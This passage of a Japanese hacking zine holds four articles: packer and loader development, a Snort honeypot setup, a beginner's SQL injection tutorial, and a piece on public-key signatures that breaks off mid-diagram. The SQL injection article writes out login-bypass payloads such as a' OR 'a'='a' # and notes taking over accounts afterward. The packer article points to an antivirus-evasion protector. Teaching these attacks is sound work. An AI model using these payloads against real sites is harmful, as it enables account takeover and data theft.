x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x --- 第9章: Rapid Development of Packer Vol.2 --- 著者:suma x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x ■0x01.) はじめに  お久しぶりです。最近私は「パッカー」「パッカーを作ることの意義」につい て考えています。パッカーを使用する目的をあげることはできますが、パッカー によって解決できる範囲は広いのか、また逆にパッカーによってもたらされる被 害は存在するのか、するならどれくらい簡単に解決できるのか…と、頭の中でく るくる言葉が回っています。今回はVol.1でできなかったソースコードやプログラ ミングテクニックの解説の後に、ローダーのデバッグテクニックについて考察し ていきたいと思います。 ■0x02.) パッカー開発テクニック  パッカーを開発する方法について再確認してみましょう。パッカーを開発する には対象となる実行ファイルをパックする「パッカー本体」と、元のプログラム をメモリ上に展開(アンパック)する「ローダー」の2つのプログラムを作成する 必要がありました。  前回のプログラムに機能追加・修正を施しているので、次のファイルをダウン ロードしてください。 http://wizardbible.org/file/suma/rdp2/pack_20061216.zip ■0x03.) Visual Studio ソルーション「pack.sln」  Visual Studioのソルーションは、複数または単数のプロジェクトをグループ化 するものです。pack.slnを開いてください。pack.sln内のプロジェクトについて 説明します。 ・pack:パッカー本体 ・PackLib:実行ファイルのPEフォーマット読み込み用ライブラリ ・TestLoader:ローダーのテストコード(デバッグテクニックの項で説明します) ・zlib:圧縮ライブラリzlib(http://www.zlib.net/) ・ZLoader:ローダー  パッカーとローダーはそれぞれ単一のプロジェクトとしてソルーションに格納 されています。パッカーとローダーの依存関係について見ていきましょう。パッ カー(packer.exe)は実行時にローダー(ZLoader.exe)を読み込み、対象の実行 ファイルにローダーを付加します。ここで、Zloader.exeが存在しない状態でpac k.exeを実行しても、当然パックに失敗します。ローダーが存在しなければパック は不可能であるわけです。そのため、pack.exeより先にZLoader.exeが生成されて いる必要があります。このような場合に役立つのがソルーションです。「ソルー ションを右クリック→プロパティ→プロジェクト依存関係」より、プロジェクト の依存関係を設定できます。これで必要なプロジェクトは自動的に先にビルドさ れるようになります。 ■0x04.) Visual Studio 2005への対応  公開したパッカーはVisual Studio .NET 2003を使用して作成しています。これ をVisual Studio 2005でビルドすると、ZLoaderでリンクエラーが発生します。こ のエラーは、C標準ライブラリのmemsetとmemcpyのふたつの関数がリンク時に見つ からないことが原因となっています。このパッカーは都合上、ローダーにC標準ラ イブラリをリンクしない設定をプロジェクトオプションでしています(※1)。そ れに加えて、関数のインライン展開を有効にしていますが、Visual Studio 2005 ではmemcpy・memsetがインライン展開されないことが理由でリンクエラーが発生 してしまいました。  memcpy・memsetのふたつの関数がリンク時に見つからないだけなので、なんと かしてこれらの関数をローダーにリンクすれば解決します。C言語から呼び出し可 能な(呼び出し規約が__cdeclである)関数の自作を考えますか? Visual Stud ioにはC標準ランタイムのソースコードが付属しています。Visual Studio 2005を インストールしたフォルダの階層下の「VC\crt\src」からmemcpy.cとmemset.cを コピーし、プロジェクトZLoaderに追加してください。 (※1)C標準ライブラリ内でWin32API関数を呼び出すため、C標準ライブラリをリ ンクしたプログラムはDLLをインポートする必要があります。このパッカーでは、 ローダーにDLLのインポートをさせない手段をとったため、C標準ライブラリをリン クできないという制約がついてしまいました。 ■0x05.) ローダーの作り方(コーディング)とバリエーション  ローダーの作成には、ひとつのプロジェクト(実行ファイル)として作り、再 配置セクションを利用する手段を取りましたが、別の方法によるローダーの作成 も可能です。というよりむしろ、私が知っているオープンソースのパッカー(※) は別の方法を取っています。次の記事の「Make Extra Section」の項にあるコー ドを読んでください。 ・Make your owner PE Protector Part 1: Your first EXE Protector http://www.programmersheaven.com/2/PE-Protector#make  ここではローダーを関数内にインラインアセンブラで記述し、ローダーの終端 部分にアルファベットで表すことができる命令で、終端識別用の文字列を埋め込 んでいます。そして関数のアドレスから終端識別用の文字列を検索し、ローダー のサイズを計算します。MASMによるローダーの作成の場合は、OFFSET演算子によ ってラベルのオフセットが簡単に求められるため、終端識別用の命令を埋め込む 代わりに、開始と終わりにラベルを使用することもできます。 (※)オープンソースのパッカー ・UPX: the Ultimate Packer for eXecutables http://upx.sourceforge.net/ ・Yoda's Crypter(MASM) http://scifi.pages.at/yoda9k/ ・Yoda's Protector(Viaul Studio .NET 2003) http://yodap.sourceforge.net/ ・Packman http://packman.cjb.net/(Visual Studio 2005) ・Morphine v2.7(Delphi/Visual Studio .NET 2003)  アンチウィルス検出回避を目的としたポリモフィックエンジン内臓のプロテク ター http://hxdef.org/ ■0x06.) ローダーのデバッグテクニック  パッカーとローダーが正しく動作するか確かめるにはどうすればよいでしょう か。どちらも正常であればパッカーを使用しても、元の実行ファイルは正しく動 作するはずです。しかし正しく実行できなかった場合はどちらに問題があるので しょうか。片方だけに、もしくは両方ともに問題があるのかもしれません。ひょ っとするとどちらにも問題がなく、対象の実行ファイルだけに問題がある可能性 もあります…。今はパッカーの動作を確かめることについてですから、対象の実 行ファイルは除外することにしますが、パッカー本体とローダーの両方が正常に 動作してこそ、パッカーは役割を果たすことができます。  パッカーとローダーのデバッグ・テスト方法について考えてみましょう。圧縮 ・展開ような処理、単体機能をライブラリを作成する場合などには単体でテスト すればよいでしょう。しかしパッカーとローダーの場合、両方が協調して動作す るため、バグがあることがわかっていても、どちらにバグがあるか調べることは 簡単ではありません。  パッカーに実装する機能にもよりますが、ローダーを作成していく順番として 粒度がより小さいものから大きいものへ、テストがより簡単な物から難しいもの へ、そしてできる限り機能単体をテストできる仕組みを作っていくのがよいと考 えられます。具体的な例を次に示します。 ・実行ファイルに付加されたローダーが実行できるか ・パッカーからローダーへデータ(アドレス・圧縮したデータなど)を正しく受 け渡すことができるか ・パッカーが「圧縮」したコードがローダーで「展開」され、元のプログラムが 正しく動作するか ■0x07.) 対象実行ファイルなしでローダーをテストする  ローダーをテストしようとすると、実行ファイルにローダーを付加してからロ ーダーの動作を確認することになります。そして、ローダーが付加された実行フ ァイルをデバッグするには、デバッガで地道にトレースするしかありません。ロ ーダーをデバッガでデバッグする作業は大変骨の折れる作業です。開発を敏速に 行うには、もっと簡単にデバッグできる必要があります。ローダー専用のデバッ ガを作ることも考えられます。しかしよいアイディアがある場合は別として、デ バッガ作成にかかるコスト(時間・手間)を考えると本末転倒でしょう。  別の方法として対象実行ファイルにローダーを付加するのではなく、テスト用 のプログラム上でローダーを実行させる方法を提案します。ローダーの処理を思 い出してください。圧縮されたコードをメモリ上に展開し、展開されたコードに 実行を移るだけです。  前回のパッカーに適用させる形で、実際にテストプログラムを作成しました。 今回配布のプロジェクトTestLoaderがそれにあたります。主要なポイントを次に 示します。 ・ローダー・圧縮されたコードはヒープ上におかれる ・ローダーのコードを実行する直前、スタックにKernel32.dll内のアドレスをpu shする ・構造化例外(SEH)を設定によって、ローダーの例外を検出可能 ■0x08.) おわりに  今回はローダーの作り方・デバッグ方法のふたつに焦点をあててみました。今 回紹介したデバッグテクニックのいくつかは「デバッグ論」にとどまっており、 効果を試すことができませんでした。次回はこれらにのっとった実装をしたり、 パッカーへの機能追加および、「Rapid Development」という名にふさわしい開発 方法の考察ができればいいなと思っています。  前回PEヘッダーの説明のあるサイト・書籍をほとんど紹介できなかったので、 最後にいくつかあげてみたいと思います。 ●Windows実行ファイル「EXE」の謎に迫る  CodeZineに掲載されているActiveBasic作者である山本大祐氏の記事です。 ・Windows実行ファイルのバイナリ概要 http://codezine.jp/a/article/aid/403.aspx ・EXEファイルの内部構造(PEヘッダ) http://codezine.jp/a/article/aid/412.aspx ・EXEファイルの内部構造(セクション) http://codezine.jp/a/article/aid/413.aspx ●Asm Tut Lite  「チュートリアル」→「Advanced」よりアンパック・PEヘッダーに関するチュ ートリアルを読むことができます。 http://rain.prohosting.com/lwtemp/ ●MSDN Magazine ・An In-Depth Look into the Win32 Portable Executable File Format http://msdn.microsoft.com/msdnmag/issues/02/02/PE/ ・An In-Depth Look into the Win32 Portable Executable File Format, Part 2 http://msdn.microsoft.com/msdnmag/issues/02/03/PE2/ ●書籍「クラッキング・バイブル」 『2.6◆PEファイルフォーマット(TEXT◎DokoDon)』, p.293-332 x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x --- 第10章: ハニーポットを作ろう(連載第10回) --- 著者:Narusase x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x ■0x01.) はじめに  始めに前回の掲載から、ずいぶんと間が空いてしまったことをお詫びします。 私事ですが、いろいろと忙しくこちらにまで手が回らなかったということが原 因です。  それでは気を取り直して前回までの復習です。前回までではhoneydおよびarpd のインストールと設定に関する説明を行いました。今回はSnortのインストールお よび設定に移っていきたいと思います。 ■0x02.) インストールの前に  まずひとつ注意があります。Vine Linuxのaptでextrasのパッケージとして取得 できるSnortは1.7とかなり古いので使ってはいけません。調べてみると2000年に 作られて以降、メンテナンスがなされていないようです。そこで普通に最新のta r.gzをダウンロードしてきてコンパイルします。Snortではそのログをデータベー スに保管することができます。そのため今回はPostgreSQLも一緒にインストール します。 ■0x03.) PostgreSQLのインストールと設定  先に述べた通りSnortではそのログをデータベース(以降DBと略する)に保管す ることができます。しかし、公式に対応しているDBはPostgreSQLとMySQLの2種類 がありどちらを選択するかは悩むところです。世間一般的にはRAMP(Linux+Apac he+MySQL+PHP or Perl or Python)などという言葉があるようにMySQLの方が普及 しているようです。ところがMySQLはスウェーデンのMySQL社という営利企業が開 発を行っているという問題があります。つまりMySQL社の方針によってはMySQLは オープンソースでなくなる可能性があるのです。したがって私はDBMSとしてはPo stgreSQLの方が将来的なリスクが小さいと考えています。またSQL標準への対応度 もMySQLと比べて優れており、そのためDBとしてはPostgreSQLを採用することにし ました。  ・・・さて。MySQL派への言い訳(嘘)はこれぐらいにして、早速PostgreSQLのイ ンストールを始めましょう。PostgreSQLのインストールは次のようなaptコマンド で簡単にすることができます。 ----- # apt-get install postgresql postgresql-server postgresql-devel -----  次に設定ファイルは次のように設定します。設定ではtcpip_socketの値がtrue になっていることと、syslogの値が1または2になっていることを確認してくださ い。次に示すような、コマンドを実行し設定ファイルを作成すれば大丈夫なはず です。単に標準の設定ファイルのtcpip_socketとsyslogの項の値を書き換えるだ けでもOKです。 ----- # cat << END_OF_SCRIPT_FILE > /var/lib/pgsql/data/postgresql.conf tcpip_socket = true max_connections = 20 shared_buffers = 1000 # min 16, at least max_connections*2, 8KB each syslog = 1 # range 0-2; 0=stdout; 1=both; 2=syslog # These settings are initialized by initdb -- they may be changed lc_messages = 'C' # locale for system error message strings lc_monetary = 'C' # locale for monetary formatting lc_numeric = 'C' # locale for number formatting lc_time = 'C' # locale for time formatting END_OF_SCRIPT_FILE -----  PostgreSQLを実行する前には、まず初期化の処理が必要です。これを忘れると 後で困るので忘れずに実行してください。PostgreSQLではセキュリティのためpo stgresというユーザーにsuしてから作業する必要があります。このpostgresユー ザーは自動的に作成されていますので、次のように入力して初期化を行います。 ----- # su - postgres $ initdb -E EUC_JP --no-locale $ exit -----  次のようにsudoを使っても問題ありません。 ----- # sudo -u postgres initdb -E EUC_JP --no-locale -----  この初期化には多少時間がかかります。初期化が終わったら、うまく起動する か確認してみます。起動が確認できたらテスト用のDBを作成し、ログインできる ことを確認して、停止させます。なお、DBからログアウトするには\qと入力すれ ば抜けられます。 ----- # su - postgres $ pg_ctl -D /var/lib/pgsql/data -l postgres.log start $ createdb testdb $ psql testdb $ pg_ctl -D /var/lib/pgsql/data stop $ exit -----  これでDBが動いていることが確認できたので、Linuxの再起動後も自動で立ち上 がるように設定しておきます。 ----- # chkconfig --level 35 postgresql on # /etc/init.d/postgresql ------  これでPostgreSQLのインストールと設定は終了です。 ■0x04.) snortのインストールと設定  ここからが今回のメインディッシュです。かなり骨の折れる作業ですので気合 いを入れていきましょう。  まず必要なパッケージやルールを次のようにして集めてきます。 ----- # cd /usr/local/src # wget http://www.snort.org/dl/current/snort-2.6.1.1.tar.gz # wget http://www.snort.org/pub-bin/downloads.cgi/Download/vrt_pr/snortrules-pr-2.4.tar.gz # wget http://www.snort.org/pub-bin/downloads.cgi/Download/comm_rules/Community-Rules-CURRENT.tar.gz # wget http://www.bleedingsnort.com/bleeding.rules.tar.gz -----  次はSnortの本体を展開して、インストールまで行います。ここではconfigure でいくつかのオプションをつけていますが、エラーが発生する場合は後ろの2つの オプションを取り除いてみてください。またpcreのエラーの場合は次を参考にし てください。 ----- # tar xvzf snort-2.6.1.1.tar.gz # cd snort-2.6.1.1/ # ./configure --prefix=/usr --with-postgresql --with-snmp --enable-smbalerts # make # make install -----  configureでpcreのエラーがでる場合は、次のようにして必要なパッケージをイ ンストールします。 ----- # apt-get install pcre pcre-devel -----  次にSnort専用のユーザーと必要なディレクトリの作成を行います。 ----- # adduser snort -s /bin/false # mkdir /var/snort # chown -R snort.snort /var/snort/ # mkdir /var/log/snort/ # chown -R snort.snort /var/log/snort/ # mkdir /etc/snort # chown -R snort.snort /etc/snort -----  Snortのルールをすべて展開しオーナーを変更します。ここでは3つのルールセ ットを展開していますが不要であればsnortrules-pr-2.4.tar.gz以外の展開は必 要ありません。 ----- # cd /etc/snort # tar zxvf /usr/local/src/snortrules-pr-2.4.tar.gz # tar zxvf /usr/local/src/Community-Rules-CURRENT.tar.gz # tar zxvf /usr/local/src/bleeding.rules.tar.gz # chown -R snort.snort /etc/snort/ -----  Snortの起動時に参考にされるファイルを所定の位置に配置し、必要な設定を書 き込みます。ここで設定するALERTMODEの値を変えないとうまくログがPostgreSQ Lに記録されないことがあるので注意が必要です。 ----- # cp /usr/local/src/snort-2.6.1.1/rpm/snort.sysconfig /etc/sysconfig/snort # vi /etc/sysconfig/snort -----  /etc/sysconfig/snortファイルの次の部分を修正します。 (編集前)ALERTMODE=fast (編集後)ALERTMODE= (編集前)CONF=/etc/snort/snort.conf (編集後)CONF=/etc/snort/rules/snort.conf  これでやっと半分ほど通過しました。  今度はSnortのログに使うPostgreSQLのアカウントを作成します。最初のコマン ドでユーザーの権限の設定に関して質問されますので、質問にはy・nの順で答え てください。 ----- # sudo -u postgres createuser snort (y・nの順で答える) # sudo -u snort createdb snort # sudo -u snort psql snort < /usr/local/src/snort-2.6.1.1/schemas/create_postgresql -----  createdbで問題が出る場合はsuコマンドでpostgresユーザーに変更してから、 doropuser snortとしてDBのアカウントを削除してからもう一度試してみてくださ い。  そして設定ファイルの編集を行います。ここではまずルールセットに付属した 設定ファイルを編集します。 ----- # vi /etc/snort/rules/snort.conf -----  1つ目は自分のネットワークを示すHOME_NETの部分を変更します。「var HOME_ NET any」から「var HOME_NET [11.22.33.44/32,192.168.1.0/24]」に変更します。 11.22.33.44/32はインターネット側のNICのIPアドレスで、192.168.1.0/24はLAN 側のNICのIPアドレスを指しています。 (編集前)var HOME_NET any (編集後)var HOME_NET [11.22.33.44/32,192.168.1.0/24]  2つ目はDNSサーバのIPアドレスを示すDNS_SERVERSで、DNSのアドレスを指定し ます。1つしか使っていない場合は[]を除くように書けばOKです。 (編集前)var DNS_SERVERS $HOME_NET (編集後)var DNS_SERVERS [11.22.33.1/32,11.22.33.2/32]  エラーが発生するので、preprocessorの部分をコメントアウトします。 (編集前)preprocessor xlink2state: ports { 25 691 } (編集後)#preprocessor xlink2state: ports { 25 691 }  PostgreSQLにログを出力するための設定部分を編集します。 (編集前)#output database: alert, postgresql, user=snort dbname=snort (編集後)output database: alert, postgresql, user=snort dbname=snort host=localhost  最後は設定ファイルの後方に並んでいるincludeを編集します。ここでは必要そ うなルールを追加します。例えばボットのBot C&C Serverを検知するbleeding-b otcc.rulesを追加したい場合は次のような記述を追加すればOKです。 ----- include $RULE_PATH/bleeding-botcc.rules -----  これで設定ファイルは終了です。  ルールの位置を標準の位置と変えたり、snort.confの位置を変えた場合はRULE _PATHを変更する必要があります。これはsnort.confの位置から見ての相対パスで 指定するか、絶対パスで指定すれば問題ないはずです。  さて設定ファイルの書き換えが終わりましたので、snortが起動するか確認して みましょう。起動確認には次のようなコマンドを使います。 ----- # /usr/bin/snort -o -l /var/log/snort -u snort -g snort -d -i eth0 -c /etc/snort/rules/snort.conf -----  何のエラーもなく「Initialization Complet」という画面が出てくれば成功で す。うまくいかなかった場合は、エラーがでますのでそれを確認してみてくださ い。  しかしながら、これで設定は終わりではありません。次はサービスとして起動 させるための設定をしなければなりません。この設定は、まず雛形となるファイ ルをコピーして編集します。編集後はゴミ掃除するのを忘れないでください。 ----- # cp /usr/local/src/snort-2.6.1.1/rpm/snortd /etc/init.d/ # chmod 755 /etc/init.d/snortd # vi /etc/init.d/snortd (編集内容は以下を参照) # rm /etc/init.d/snortd~ -----  設定内容は次の通りです。  「daemon /usr/sbin/snort」を「daemon /usr/bin/snort」に変更します。この 編集個所は3箇所あります。 (編集前)daemon /usr/sbin/snort ・・・(略) (編集後)daemon /usr/bin/snort ・・・(略)  次に再起同時に自動で立ち上がるように設定し、改めてSnortを起動させてイン ストールおよび設定作業は終了です。 ----- # chkconfig --add snortd # chkconfig --level 01246 snortd off # chkconfig --level 35 snortd on ----- ■0x05.) おわりに  今回はPostgreSQLとSnortのインストールと設定について説明しました。  次回はSnortのログを調べるためのツールのインストールと解説をしたいと思い ます。 x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x --- 第11章: SQL Injection --- 著者:えいる x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x ■0x01.) はじめに  ども、お久しぶりです。えいるです。  といってもまだ2回目なのですけどね。よろしくお願いします。さて今回のWiz ard Bibleが30回目で、めでたいなというわけで久しぶりに書かせてもらおうかな と思ったわけです。本業のほうから色々ネタになりそうなことやってるんですけ どね・・・。まぁいずれ。  というわけで今回はSQL Injectionのお話です。初心者向けな感じで、何回かに 分けて攻撃手法と対策を紹介できればと思います。当然ながらwebアプリケーショ ンを想定しているので、今回用意した環境はPHP5、MySQL5、Apachです。  そういうわけなので、読み進めるにはSQLとPHPのコードを読めるくらいの知識 が必要になります。といってもどんなものか知らない人でも流し読みできるくら いの解説はするので、よかったらぜひ読んでいただければと思います。  今回のサンプルは以下のファイルにおいておきますので良かったら:-) http://nagakura.mints.ne.jp/wb30/sample.zip ■0x02.) SQLとは?  SQLとは、「Structured Query Language」(構造化問合せ言語)のことでデー タベースを扱う言語です。基本的にプログラムから呼ばれて、データベースにア クセスするために使われます。最近のWebアプリケーションにはデータベースが使 われることが多く、個人的にはWebプログラミングをする上で必須な知識だと思い ます。 ■0x03.) SQLInjectionとは?  Webサイト上のフォームから管理者が意図しないSQL文を実行する行為のことを いいます。数年前からいわれているのですが、未だにこの脆弱性からの個人情報 流出などがニュースになったりするあたり、まだまだ現役の攻撃方法といえるで しょう。  それでは、簡単なサンプルを見ながら解説していきます。 ■0x04.) ログイン処理回避  よくあるWebサイトのログイン画面だと思ってください(図1参照)。なお今回 はサンプルなので、ログインに成功しても他の画面に遷移せず、フォームの上部 に実行されたSQL文とログイン処理の結果が表示される仕組みになっています。 (図1)http://nagakura.mints.ne.jp/wb30/wbsample1.JPG  詳しくは以下アドレスに置いてあるソースコードを見てください。色々このコ ードには問題があるのですが、その辺の話題はそのうち。ということで先に進み ます。  そこでログイン処理ということで、正しいユーザ名とパスワードが入力された 場合にログイン成功、間違った場合はログイン失敗と表示されます。  とりあえず適当に入力してみましょう。ユーザ名に"test_name"、Passwordに "test_pass"と入力した場合、変数$f_nameと$f_passに画面から入力された値が代 入されるため、次のSQLが実行されます(図2参照)。 ----- SELECT id * FROM users WHERE name = 'test_name' AND password = 'test_pass' ----- (図2)http://nagakura.mints.ne.jp/wb30/wbsample2.JPG  このときレコードが存在すればログインに成功します。当然この場合はユーザ 名、パスワードが存在しないのでログイン失敗となります。今度は存在するユー ザ名"naga"とパスワード"nagapass"を入力してみましょう。すると画面にログイ ン成功と表示されます(図3参照)。 (図3)http://nagakura.mints.ne.jp/wb30/wbsample3.JPG  しかしこのプログラムは画面からの情報をそのまま使っているため、ユーザが 任意のSQL文を実行できるという脆弱性が存在します。  例えば悪意のあるユーザが ------------------------------------------- ユーザ名:a' OR 'a'='a' # ------------------------------------------- と入力すると、実行されるSQL文は以下のようになります。 ------------------------------------------- SELECT id * FROM users WHERE name = 'a' OR 'a'='a' #' AND password = '' -------------------------------------------  'a'='a'の条件を満たすため常にログインに成功してしまうわけです(図4参照)。 "#"という記号はmysqlのコメントで、以降の文字列をすべて無効にします。 (図4)http://nagakura.mints.ne.jp/wb30/wbsample4.JPG  他にもコメントを使用せずに ------------------------------------------- ユーザ名:a' OR 'a'='a パスワード:a' OR 'a'='a ------------------------------------------- と入力すれば ------------------------------------------- SELECT id * FROM users WHERE name = 'a' OR 'a'='a' AND password = 'a' OR 'a'='a' ------------------------------------------- となるため、やはりログインに成功してしまいます(図5参照)。 (図5)http://nagakura.mints.ne.jp/wb30/wbsample5.JPG  ログインしたあとはパスワードを変更したり登録メアドとパスワードリマイン ダを好きなように変更してみたり、といろいろできますね:-)  このように、SQL Injectionの脆弱性があるサイトの場合、通常の処理を回避す ることができます。さすがに現在では今回の例が成功するサイトはほとんありま せんが、SQL Injectionはこのような感じで行われます。  対策としては、特殊文字のエスケープや、プリペアドステートメントを使うな どがあり、次回以降で詳しく説明できればと思います。今回取り上げられなかっ た例なども次回以降に少しずつ説明できればと思います。 ■0x05.) 終わりに  今回はSQL Injectionの基本ということで、とても簡単な例を紹介しました。S QL Injectionは任意のSQL文が実行できるという特性のため、多様な攻撃方法が存 在します。次回はもう少し難易度の高い攻撃方法や対策を紹介しようかなと思い ます。  それでは、また次回よろしくお願いします。  感想や要望などあれば気軽にメールください:-) mail:mr_clifton@hotmail.com web:http://d.hatena.ne.jp/nagakura_eil/ x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x --- 第12章: 暗号プログラミング 〜後編〜 --- 著者:Kenji Aiko x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x ■0x01.) はじめに  かの有名なP2Pソフト「Winny」の通信内容は、TCP接続確立後の初期パケットの 「先頭から3バイト目以降の4バイト」を鍵としたRC4で暗号化されています。とこ ろが、一般的に暗号通信を行う場合はネットワーク上に流れるパケットデータの 中にそのままの状態の共通鍵は入れません。このような実装だと通信内容を確認 しただけで暗号を解読される恐れがあります。Winnyはそういった意味で、通信内 容の暗号化に関しては、あまり労力を割かなかったことがうかがえます。  しかし、共通鍵暗号を使用する以上、通信相手と同じ鍵を共有しなければなり ません。WinnyはRC4の鍵を乱数で生成しているため、その鍵をどうにかして相手 に送る必要があり、そのためにはどうしても鍵を送信しなければなりません。た だ、鍵を送信するということは、通信データを傍受されることで暗号が解読され てしまう危険性を伴います。  これは不特定多数のコンピュータが相互に通信を確立する可能性があるインタ ーネットという世界に、共通鍵暗号方式があまり向いていないことを意味してい ます。もちろん実行ファイル(バイナリ)の中に鍵を入れておけば、送信せずと も暗号通信を行うことは可能ですが、それだとすべての通信で鍵が同じになるた めあまりお勧めできません。  このようにインターネット上で共通鍵暗号のみの暗号通信を行う場合、鍵の送 信をどうするかといった問題が発生します。この問題を解決するために、一般的 に「公開鍵暗号」が使用されます。公開鍵暗号ならば、相手に公開鍵を送り、そ の公開鍵でデータを暗号化して、その暗号データを送信元に送ってもらえれば、 安全にデータをやり取りできます。もし最初に共通鍵の交換を行いたいならば、 その共通鍵を公開鍵暗号でやり取りして、双方に共通鍵が渡った時点で共通鍵暗 号で暗号通信を行うことができます。こうすることで安全に暗号通信を行えます。 もちろん共通鍵暗号を使わずに、公開鍵暗号だけで以後の通信を行うこともでき ますが、処理速度に問題が出るため、時と場合に応じて使い分ける必要があるで しょう。 ■0x02.) 認証  「認証」とは、相手が誰であるかを確認することです。コンピュータやインタ ーネットを利用しているとよくログイン名とパスワードを入力しますが、仮に世 界中の人が善人だったなら、パスワードは必要ありません。誰もが善人ですから、 他人のアカウントを利用することはないでしょう。よってパスワードなんて必要 ありません。しかし、世の中には他人に成りすまそうとする悪人がいるために、 パスワードという仕組みを導入し、アクセスしてきたユーザが本当に「本人」で あるかどうかを確認しなければなりません。これを「認証」と呼びます。  共通鍵暗号は鍵を持っている者しか暗号文を作成できませんが、公開鍵暗号は 誰もが鍵(公開鍵)を持っています。そして公開鍵は基本的にすべての人に公開 しますから、当然すべての人が暗号文を作成できます。ということは、公開鍵暗 号では、誰かに成り代わって暗号文を作成し、その暗号文を相手に送信すること ができるのです。 +-- 鈴木さん ----------------------------------------------+ | 田中さんの公開鍵「Tpub」で、平文「私は加藤です」を暗号化 | | 暗号文「..........」を田中さんに送信 | +----------------------------------------------------------+ ↓ 暗号文「..........」 +-- 田中さん ----------------------------------------------+ | 田中さんの秘密鍵「Tpri」で、暗号文「..........」を復号化 | | 平文「私は加藤です」を得る | +----------------------------------------------------------+  田中さんの公開鍵「Tpub」はすべての人に公開されています。よってこの公開 鍵を使って、誰もが田中さん宛ての暗号文を作成できます。つまり送信者を簡単 に偽ることができます。しかしそれでは困るので、その対策として公開鍵暗号で は署名と検証という仕組みが存在します。 ■0x03.) 署名と検証  誰でも暗号文を作成できるため、自分が確かにそのデータを作成した本人であ ることを相手に証明する必要があります。そのために「署名」という技術があり ます。署名とは、簡単にいうと「データの作成者が自分であること」と「データ が改ざんされていないこと」を証明するデータを付加することです。  例えば「こんにちは、私は鈴木です」というデータを、相手に送信したいとし ます。しかしこのデータだけを相手に送信しても、相手はこのデータを送信して きた者が本当に鈴木さんであるかを確認することができません。よって送信者は 「こんにちは、僕は鈴木です」というデータのハッシュ値を「秘密鍵」で暗号化 し、その暗号化したデータと「こんにちは、僕は鈴木です」を相手の公開鍵で暗 号化したデータをいっしょに送信します。すると受信者はこの暗号化されたデー タを「公開鍵」で復元して、ハッシュ値を求めることができます。そしてこのハ ッシュ値と「こんにちは、僕は鈴木です」というデータのハッシュ値とを比較す ることで、本当に鈴木さんから送られてきたものかどうかを確認できるのです。 +-- 鈴木さん ----------------------------------------------+ | 田中さんの公開鍵「Tpub」で、平文「私は鈴木です」を暗号化 | | 暗号文「..........」を作成 | | 平文「私は鈴木です」のハッシュ値「ABCDEFGHIJK」を得る | | 鈴木さんの秘密鍵「Spri」で、「ABCDEFGHIJK」を暗号化 | | 暗号文「ABCDEFGHIJK_Spri」を得る | | 暗号文「..........」と暗号文「ABCDEFGHIJK_Spri」を送信 | +----------------------------------------------------------+ ↓ 暗号文「..........」「ABCDEFGHIJK_Spri」 +-- 田中さん ----------------------------------------------+ | 田中さんの秘密鍵「Tpri」で、暗号文「..........」を復号化 | | 平文「私は鈴木です」を得る | | 平文「私は鈴木です」のハッシュ値「ABCDEFGHIJK」を得る | | 暗号文「ABCDEFGHIJK_Spri」を | | 鈴木さんの公開鍵「Spub」で復号化し「ABCDEFGHIJK」を得る | | 「ABCDEFGHIJK」と「ABCDEFGHIJK」を比較する(本物と判断) | +----------------------------------------------------------+  署名データは「データの作成者が自分であること」と「データが改ざんされて いないこと」を証明するためのものであり、本人しか作成できないものでなけれ ばなりません。よって自分しか知ることのできない「秘密鍵」を利用し、平文の ハッシュ値を暗号化します。  ちなみに、ここでは秘密鍵を利用して「暗号化する」と記述していますが、こ の暗号文は公開鍵で復号化できるため、結局のところ誰でも読むことができます。 よって、厳密には「暗号化」とは呼べません。しかしこのテキストでは便宜上、 これも暗号化という言葉を使わせていただきます。  さて、今度は鈴木さんが他人に成りすまそうとした場合の通信の流れを見てい くことにします。 +-- 鈴木さん ----------------------------------------------+ | 田中さんの公開鍵「Tpub」で、平文「私は加藤です」を暗号化 | | 暗号文「A.A.A.A.A.」を作成 | | 平文「私は加藤です」のハッシュ値「AbCdEfGhIjK」を得る | | 鈴木さん秘密鍵「Spri」で、「AbCdEfGhIjK」を暗号化 | | 暗号文「AbCdEfGhIjK_Spri」を得る | | 暗号文「A.A.A.A.A.」と暗号文「AbCdEfGhIjK_Spri」を送信 | +----------------------------------------------------------+ ↓ 暗号文「A.A.A.A.A.」「AbCdEfGhIjK_Spri」 +-- 田中さん ----------------------------------------------+ | 田中さんの秘密鍵「Tpri」で、暗号文「A.A.A.A.A.」を復号化 | | 平文「私は加藤です」を得る | | 平文「私は加藤です」のハッシュ値「AbCdEfGhIjK」を得る | | 